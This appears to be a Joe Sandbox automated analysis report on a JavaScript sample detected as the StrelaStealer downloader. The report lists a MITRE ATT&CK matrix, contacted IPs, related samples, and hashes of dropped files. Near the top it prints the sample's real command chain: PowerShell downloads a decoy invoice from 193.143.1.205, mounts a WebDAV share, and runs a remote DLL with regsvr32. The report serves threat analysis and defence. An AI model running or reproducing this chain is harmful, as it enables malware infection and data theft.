Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
733422181158883785.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer
733422181158883785.js	13%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/8	net.exe, 00000007.00000002.1469899927.0000025F8FDA0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/:	net.exe, 00000007.00000003.1467444516.0000025F8FDCE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1469999561.0000025F8FDCE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2691236454.000002277C600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1469999561.0000025F8FDCE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1469899927.0000025F8FDA0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1466673811.0000025F8FDEF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1477028673.000002277C480000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589077
Start date and time:	2025-01-11 09:13:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	733422181158883785.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 54.224.241.105, 52.149.20.212, 104.77.220.172, 4.175.87.197
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:14:12	API Interceptor	26x Sleep call for process: powershell.exe modified
03:14:16	API Interceptor	1x Sleep call for process: net.exe modified
03:14:17	API Interceptor	2x Sleep call for process: svchost.exe modified
03:14:25	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	44462735347649449.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2634817597621928878.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26804379891331232.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2598020871582219525.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2014717258213104107.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49323210656381317
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Zta0:cJhXC9lHmutpJyiRDeJ/aUKrDgnm+
MD5:	B352795A829E0F5DCCB867061848325F
SHA1:	54FD5159ED01D4EE35DA20C8F59AE0FCB855AA1D
SHA-256:	5B7525C35C3AC25590CBC4EFAE9684CD224CF4B1381CDC898BD2DB361DB0C4BC
SHA-512:	AAFFF38E62055EAA25453684D91C4CC62B600948F09A22C1694DBA8E7B6587DEB310CF4DC375815AB52A789DE83B38944A87A123736BDA5DE20B52F506961CBE
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd5f0123f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216991630329791
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:razaNvFv8V2UW/DLzN/w4wZi
MD5:	15DF7D9261ADF74AE99C900F5269A2B0
SHA1:	A26AAB408DA02428A91E2A64207E408E9F9EAFCE
SHA-256:	441B019F7474FD32B18B669469E02FA704E689CFFE204962354A46FB87122F23
SHA-512:	24D9BEEAA598AB631E3A3C41D251098AB3B888F77D131BE339F86E377D1FDB4F88F2AE961D724E4ACD839F1EFCF3CE5CD2DF20CE39894D39FCA77E0911431D83
Malicious:	false
Preview:	...?... ...............X\...;...{......................p.D..........{}......}K.h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{...........................................}k.........................}K..........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07973211730912909
Encrypted:	false
SSDEEP:	3:mlmXEYeA5vC/fgsCrZClW/twJvJuRuXlAll+SHY/Xl+/rQLve:mlmUzCvSfgs3GCJBuIXlAAS4M
MD5:	0A6EE2DAFBD29E1F63580DBD3FEF196F
SHA1:	9942A201188CC43A1B455619119EDBBB321C05A4
SHA-256:	F4CC30B8EE275A64FFFC03BC487C38F57B8DC9555D36CF3976CF5B5FEBA95D01
SHA-512:	B83C3658092A302D9D44257BEA55D83D1D97ED00EA287CA59AA579239E16C3210EFD592BF6CD97BB457149269004461E81C22D0CBD4D8E8FF166412D42229ED3
Malicious:	false
Preview:	DR.......................................;...{.......}K......{}..............{}......{}.vv_Q.....{}.........................}K.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.227862449772891
Encrypted:	false
SSDEEP:	6:iOlA8CAM+q2PqLTwi2nKuAl9OmbnIFUtHA8C66ZmwpA8C6lMVkwOqLTwi2nKuAlz:7eBAM+v8wZHAahFUtgB66/iB6lMV5TwM
MD5:	4B24A98C5E8DC6D744C8B4074190C77B
SHA1:	A97F9983EA2958B532FBC2BE8CB5890EF19B1542
SHA-256:	2A8955DC6510C03090F513DEF75AFF8B10F5F9CBA272D7B5D118C20413146353
SHA-512:	2AC8DAF8A728DE95CEA9AD70D2FE6BA7CC1EA1D7315E7105D39E56494DE228526E32731D87E391CC8DB558B383882A456944BD8CF96F5084E0BBF0C24DEFFF49
Malicious:	false
Preview:	2025/01/11-03:14:17.686 1f6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:14:17.688 1f6c Recovering log #3.2025/01/11-03:14:17.688 1f6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.227862449772891
Encrypted:	false
SSDEEP:	6:iOlA8CAM+q2PqLTwi2nKuAl9OmbnIFUtHA8C66ZmwpA8C6lMVkwOqLTwi2nKuAlz:7eBAM+v8wZHAahFUtgB66/iB6lMV5TwM
MD5:	4B24A98C5E8DC6D744C8B4074190C77B
SHA1:	A97F9983EA2958B532FBC2BE8CB5890EF19B1542
SHA-256:	2A8955DC6510C03090F513DEF75AFF8B10F5F9CBA272D7B5D118C20413146353
SHA-512:	2AC8DAF8A728DE95CEA9AD70D2FE6BA7CC1EA1D7315E7105D39E56494DE228526E32731D87E391CC8DB558B383882A456944BD8CF96F5084E0BBF0C24DEFFF49
Malicious:	false
Preview:	2025/01/11-03:14:17.686 1f6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:14:17.688 1f6c Recovering log #3.2025/01/11-03:14:17.688 1f6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.113233289514356
Encrypted:	false
SSDEEP:	6:iOlA87Iq2PqLTwi2nKuAl9Ombzo2jMGIFUtHA8HZmwpA8/skwOqLTwi2nKuAl9OU:7ezv8wZHAa8uFUtg0/iss5TwZHAa8RJ
MD5:	5E38E371EB28A060BAFC4D07518A8ED6
SHA1:	C8D5D9B591DD28EC2DD91532BA87DC3BE3A665CF
SHA-256:	232D2B801348DD7DD4EBD00A7F7520B9603A7F5BE5AF8FE815AF08FE9C1F723E
SHA-512:	85BA93C7352D760685930DDC07B8768AEEC894A2F8CB7F6223CA79BEA99849C7A74E98D4A46E827EFCE0AB6343A1135C9C51F0A3C6E36D1C70CA44AE5C74AE5D
Malicious:	false
Preview:	2025/01/11-03:14:17.709 1a70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:14:17.710 1a70 Recovering log #3.2025/01/11-03:14:17.711 1a70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.113233289514356
Encrypted:	false
SSDEEP:	6:iOlA87Iq2PqLTwi2nKuAl9Ombzo2jMGIFUtHA8HZmwpA8/skwOqLTwi2nKuAl9OU:7ezv8wZHAa8uFUtg0/iss5TwZHAa8RJ
MD5:	5E38E371EB28A060BAFC4D07518A8ED6
SHA1:	C8D5D9B591DD28EC2DD91532BA87DC3BE3A665CF
SHA-256:	232D2B801348DD7DD4EBD00A7F7520B9603A7F5BE5AF8FE815AF08FE9C1F723E
SHA-512:	85BA93C7352D760685930DDC07B8768AEEC894A2F8CB7F6223CA79BEA99849C7A74E98D4A46E827EFCE0AB6343A1135C9C51F0A3C6E36D1C70CA44AE5C74AE5D
Malicious:	false
Preview:	2025/01/11-03:14:17.709 1a70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:14:17.710 1a70 Recovering log #3.2025/01/11-03:14:17.711 1a70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\77678b92-caa8-48f2-ac6a-275145771b22.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.959173885497125
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2YhsBdOg2HScaq3QYiub5P7E4T3y:Y2sRdsb7dMH93QYhbt7nby
MD5:	F0D66F6C680CEF6F9358CC13E4B39CA8
SHA1:	7BDC2A44070639822DBC36FFCE4B91EFF6B275C8
SHA-256:	6380B97170D5405C57D292C27D8A71F7148002E7F1E2234CF4AA19E32773306B
SHA-512:	D511727B432304BC43315B13DDEF1A3DD9B94EA77BAEC9EB26ED917EEE143E1FE7E85937F15E4EFB81AED152B94EFCBE2316E54939DD32AFF0096726BDEDE58A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381143268627114","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121170},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.959173885497125
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2YhsBdOg2HScaq3QYiub5P7E4T3y:Y2sRdsb7dMH93QYhbt7nby
MD5:	F0D66F6C680CEF6F9358CC13E4B39CA8
SHA1:	7BDC2A44070639822DBC36FFCE4B91EFF6B275C8
SHA-256:	6380B97170D5405C57D292C27D8A71F7148002E7F1E2234CF4AA19E32773306B
SHA-512:	D511727B432304BC43315B13DDEF1A3DD9B94EA77BAEC9EB26ED917EEE143E1FE7E85937F15E4EFB81AED152B94EFCBE2316E54939DD32AFF0096726BDEDE58A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381143268627114","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121170},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2248863416137326
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzMBDybU:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzMR
MD5:	5185F7400C5AD92738C37F5042C16F07
SHA1:	BC13E44450A4B0E260263EA1D044C032204F6EDF
SHA-256:	091733EE41FB6D035BB633805FE57B5AB6C9CA4ACD147D0FDB82036C0828BFA7
SHA-512:	3E445F44D2408C5CA478399B1CF9676D67D9C203E696E71AAA7438921CDA3455732142161B59C201371DB12820E77321391BE9023DCAF238B8C526638C4E0159
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1374604685039325
Encrypted:	false
SSDEEP:	6:iOlA8vRq2PqLTwi2nKuAl9OmbzNMxIFUtHA8wRXZmwpA8ykwOqLTwi2nKuAl9Omk:7eoRv8wZHAa8jFUtgRRX/i35TwZHAa8E
MD5:	506CF838075A4E75F00B8C1679FB8B6A
SHA1:	63FC7956DA86A7AA55E2033839FD291807561984
SHA-256:	0DF66400C7418693C44246B885566855B081CD720BD86B1042BEA3E15F314359
SHA-512:	DADCDFC106D94C982D04C6BCAE60251BC69BA7C2A8086D5F9179FC01E2F8A084F365B89B51D2EB5BE0ABF49426D4C36887916555F9F366C330A4F1369728D32E
Malicious:	false
Preview:	2025/01/11-03:14:18.132 1a70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:14:18.161 1a70 Recovering log #3.2025/01/11-03:14:18.181 1a70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1374604685039325
Encrypted:	false
SSDEEP:	6:iOlA8vRq2PqLTwi2nKuAl9OmbzNMxIFUtHA8wRXZmwpA8ykwOqLTwi2nKuAl9Omk:7eoRv8wZHAa8jFUtgRRX/i35TwZHAa8E
MD5:	506CF838075A4E75F00B8C1679FB8B6A
SHA1:	63FC7956DA86A7AA55E2033839FD291807561984
SHA-256:	0DF66400C7418693C44246B885566855B081CD720BD86B1042BEA3E15F314359
SHA-512:	DADCDFC106D94C982D04C6BCAE60251BC69BA7C2A8086D5F9179FC01E2F8A084F365B89B51D2EB5BE0ABF49426D4C36887916555F9F366C330A4F1369728D32E
Malicious:	false
Preview:	2025/01/11-03:14:18.132 1a70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:14:18.161 1a70 Recovering log #3.2025/01/11-03:14:18.181 1a70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438366852528217
Encrypted:	false
SSDEEP:	384:ye+ci5GqiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pKurVgazUpUTTGt
MD5:	11AA4EE2738C001C695EA91DFE47E285
SHA1:	BB082673902C2754BE9659816408DCE2A8EEAAEA
SHA-256:	639D7D1AA2BCE93017444CA0F50BF5BF2EC2A0E6C97F2035A1B72892CE3FC554
SHA-512:	3550B3E9FA121A4BE9C04E2DD211266C0C4E8B81DBB6AED7C25CAC81186CD60E52A00405A6BDF0359655867E008C843D7B20927517E21C4909BB4058B2EF5A53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.768772843509331
Encrypted:	false
SSDEEP:	48:7M7JioyVaioynoy1C7oy16oy1kKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OL:78JuaVbXjBiTb9IVXEBodRBkY
MD5:	059517E83B7EED14B09975D30219053E
SHA1:	BC088062281DAF5CD7B80CCBD898FE68845BD43D
SHA-256:	3C947230ADAFA2F70176786A7332E4638CD6EDFF2DE3064B0B6E7706796335E1
SHA-512:	3509785243F98354A4EA878D2ED6534EF2B2E6289B26ADF3F426D977F689745865A74B46F63B346F4167CD2DF68DC5FC5628900635454F3E82CF87BF0D55EC9B
Malicious:	false
Preview:	.... .c.....j#.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
